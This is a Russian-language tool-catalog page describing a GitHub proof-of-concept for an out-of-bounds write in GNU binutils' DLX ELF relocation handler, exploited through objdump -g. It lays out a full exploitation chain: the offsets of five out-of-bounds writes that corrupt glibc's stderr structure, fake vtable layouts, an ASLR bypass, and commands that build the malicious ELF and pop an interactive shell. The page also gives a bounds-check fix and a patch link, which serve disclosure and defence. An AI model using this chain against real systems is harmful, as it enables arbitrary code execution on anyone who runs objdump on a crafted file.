Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/4d4j/objdump-out-of-bounds-write
Анализ уязвимостейЭксплуатацияАнализ Бинарных ФайловСтатьи и ИсследованияОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHub4d4j/objdump-out-of-bounds-write

objdump-Out-Of-Bounds-write

Proof of Concept (PoC), демонстрирующий уязвимость CVE-2026-18220 — запись за пределами буфера (OOB) в DLX ELF-бэкенде GNU binutils (в частности, срабатывающую при запуске `objdump -g`).

Репозиторий
791921 месяц назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

GNU Binutils objdump — запись вне границ (OOB) → FSOP → произвольное выполнение кода

Цель: GNU Binutils (все версии вплоть до HEAD) — objdump
Окружение: Debian 13 (Trixie), glibc 2.41, x86_64
Воздействие: произвольное выполнение кода
Вектор: специально сформированный ELF-файл, обрабатываемый objdump -g
ASLR: обойдён (детерминированная дельта mmap)


Благодарности

Огромное спасибо bikini за упоминание и честную игру в отношении этого открытия. Он отличный парень, мне было приятно с ним пообщаться, и у него есть собственные впечатляющие находки. Обязательно посмотрите его работы!


Уязвимость

Корневая причина — bfd/elf32-dlx.c

Обработчик релокации R_DLX_RELOC_26_PCREL () выполняет чтение/запись 4 байт по адресу без проверки смещения относительно размера секции. Поскольку функция возвращает , общая проверка границ в полностью обходится.

elf32_dlx_relocate26
data + reloc_entry->address
bfd_reloc_ok
bfd/reloc.c
root@kitploit:~
// bfd/elf32-dlx.c — elf32_dlx_relocate26()
insn  = bfd_get_32(abfd, data + reloc_entry->address);   // OOB read
vallo = insn & 0x03FFFFFF;
if (vallo & 0x03000000)
    vallo = ~(vallo | 0xFC000000) + 1;                   // sign-extend 26 bits

val   = (sym->section->vma + sym->value) - vallo;
insn  = (insn & 0xFC000000) | (val & 0x03FFFFFF);

bfd_put_32(abfd, insn, data + reloc_entry->address);     // OOB write
return bfd_reloc_ok;                                      // skips bounds check

Смещение reloc_entry->address читается напрямую из ELF-файла и может указывать произвольно далеко за пределы буфера секции.

Трюк с близостью mmap

На x86_64 смещения ELF32 расширяются нулями, что ограничивает записи положительными смещениями. Секция .debug_info размером ≥ 128 КБ заставляет malloc() использовать mmap(), размещая буфер рядом с сегментом данных libc:

root@kitploit:~
┌──────────────────────────────────────┐  ← same mmap region
│  .debug_info buffer (192 KB)         │  data     = 0x7f...d010
│  ├── fake _IO_wide_data  (+0x1000)   │
│  └── fake _IO_jump_t     (+0x2000)   │
│              ...                     │
│  _IO_2_1_stderr_                     │  stderr   = data + 0x21a4d0
│  _IO_wfile_jumps                     │  wfile    = data + 0x218218
│  system()                            │  system() = data + 0x87100
└──────────────────────────────────────┘

Дельта stderr - data = 0x21A4D0 является константой при разных запусках с ASLR, поскольку оба региона выделяются одним и тем же mmap при загрузке libc.


Цепочка эксплуатации FSOP

Путь выполнения

root@kitploit:~
objdump writes to stderr ("Can't get contents for section...")
  └─► _IO_wfile_overflow(stderr)
      └─► _IO_wdoallocbuf(stderr)
          └─► _IO_WDOALLOCATE(stderr)
              = stderr->_wide_data->_wide_vtable->__doallocate(stderr)
              = fake_vtable[0x68](https://github.com/4d4j/objdump-out-of-bounds-write/blob/main/stderr)
              = system(stderr)
              = system("p;sh")         ← stderr._flags[0:4] = "p;sh"

5 записей вне границ (PCREL26)

#Цель (смещение от data)Эффект
00x21A4CF = stderr − 1_flags[0:3] = cmd[0..2] → начало аргумента system()
10x21A4F8 = stderr + 0x28_IO_write_ptr ≠ 0 → принудительный сброс → переполнение
20x21A56F = stderr + 0x9F_wide_data[0:3] → указывает на поддельный _IO_wide_data
30x21A5A7 = stderr + 0xD7vtable[0:3] → _IO_wfile_jumps
40x21A4D2 = stderr + 2_flags[3] = cmd[3], выравнивание очищено → нулевой терминирующий байт

Поддельные структуры (в буфере секции)

root@kitploit:~
data + 0x1000 : fake _IO_wide_data
  +0xE0      : _wide_vtable → data + 0x2000

data + 0x2000 : fake _IO_jump_t
  +0x68      : __doallocate → system()

Ограничения команд

Эксплойт поддерживает команды длиной от 2 до 4 символов. Релокация 0 записывает _flags[0:3], а релокация 4 записывает _flags[3] и очищает выравнивание, предоставляя system() до 4 символов перед естественным нулевым терминирующим байтом.

Только первые два байта ограничены раскладкой флагов FILE в glibc:

БитФлагОграничениеПричина
1_IO_UNBUFFEREDcmd[0] & 0x02 == 0иначе _IO_wdoallocbuf пропускает __doallocate
3_IO_NO_WRITEScmd[0] & 0x08 == 0иначе overflow немедленно возвращает WEOF
13_IO_IS_FILEBUFcmd[1] & 0x20 != 0требуется для входа в блок doallocate

cmd[2] и cmd[3] ничем не ограничены.

КомандаБайтыЭффект
"ps"70 73список процессов
"p;sh"70 3B 73 68запустить интерактивный shell ← наиболее полезно
"p;ls"70 3B 6C 73список файлов в каталоге
"p;id"70 3B 69 64вывести uid/gid

Воспроизведение

Предварительные требования

root@kitploit:~
# Build binutils with DLX target support
cd binutils-gdb && mkdir build && cd build
../configure --target=dlx-elf --disable-nls --disable-werror
make -j$(nproc)

Генерация полезной нагрузки и запуск эксплойта

root@kitploit:~
# Step 1: Generate the malicious ELF (choose your command)
python3 poc_generate.py --cmd "p;sh" -o exploit.bin

# Step 2: Run the exploit (ASLR on, standalone, no GDB)
python3 poc_ptrace.py --cmd "p;sh"   # interactive shell
python3 poc_ptrace.py --cmd "p;id"   # print uid/gid
python3 poc_ptrace.py                # default: "ps"

Эксплойт автоматически повторяет попытки до 5 раз при несовпадениях третьего байта ASLR (~12% на попытку), достигая ~99.998% успешности.

Ожидаемый вывод

root@kitploit:~
[*] libc: /lib/x86_64-linux-gnu/libc.so.6
[*] cmd = 'p;sh'  bytes = ['0x70', '0x3b', '0x73', '0x68']
[*] objdump_base = 0x005e61dfbf5000
[*] fn_addr      = 0x005e61e06cad90  (elf32_dlx_relocate26)
[*] libc_base = 0x0075b1ed86c000
[*] stderr    = 0x0075b1eda524e0
[*] system    = 0x0075b1ed8bf110
[*] actual delta = 0x21a4d0  (expected 0x21a4d0)
[*] reloc0 sym->value <- 0x00f65c20  (cmd[0..2] = 'p;s')
[*] reloc4 sym->value <- 0x016d0000  (cmd[3] = 0x68)
...
[+] system() reached — command executing
$ id                                   ← interactive shell
uid=1000(user) gid=1000(user) groups=1000(user)
[+] Done

Предлагаемое исправление

Добавьте проверку границ в elf32_dlx_relocate26() перед обращением к данным секции:

root@kitploit:~
if (reloc_entry->address + 4 > input_section->size)
    return bfd_reloc_outofrange;

Файлы

ФайлОписание
poc_generate.pyГенерирует вредоносную DLX ELF-нагрузку (exploit.bin) с 5 релокациями OOB
poc_ptrace.pyАвтономный эксплойт — обход ASLR через ptrace, цикл повторов, GDB не требуется
exploit.binПредварительно сгенерированная нагрузка (команда по умолчанию "p;sh")

Раскрытие информации

Эта уязвимость была сообщена сопровождающим GNU Binutils. Эксплойт предоставлен только для авторизованных исследовательских целей в области безопасности.

Патч

https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=114e3aae2b7e34057c8909301eaf78c15687e8e5

Скачать инструмент